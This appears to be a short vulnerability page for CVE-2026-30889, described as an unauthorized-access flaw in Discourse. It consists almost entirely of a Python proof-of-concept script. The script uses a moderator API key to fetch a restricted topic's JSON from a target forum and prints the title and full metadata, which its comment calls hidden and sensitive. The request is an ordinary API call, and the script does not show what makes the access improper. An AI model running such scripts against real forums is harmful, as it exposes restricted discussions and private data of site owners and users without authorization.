CVE-2026-30889 Discourse越权访问漏洞

import requests # PoC for CVE-2026-30889: Discourse Metadata Access # Requires a moderator API key or session cookie target_url = "https://example.discourse.org" topic_id = 12345 # ID of a restricted topic api_key = "YOUR_MODERATOR_API_KEY" api_username = "moderator_user" # Construct the request to fetch topic metadata headers = { "Accept": "application/json", "Api-Key": api_key, "Api-Username": api_username } response = requests.get(f"{target_url}/t/{topic_id}.json", headers=headers) if response.status_code == 200: data = response.json() print(f"[+] Successfully accessed metadata for topic {topic_id}") print(f"[+] Title: {data.get('title')}") # Print sensitive metadata that should be hidden print(f"[+] Details: {data}") else: print(f"[-] Failed to access topic. Status code: {response.status_code}")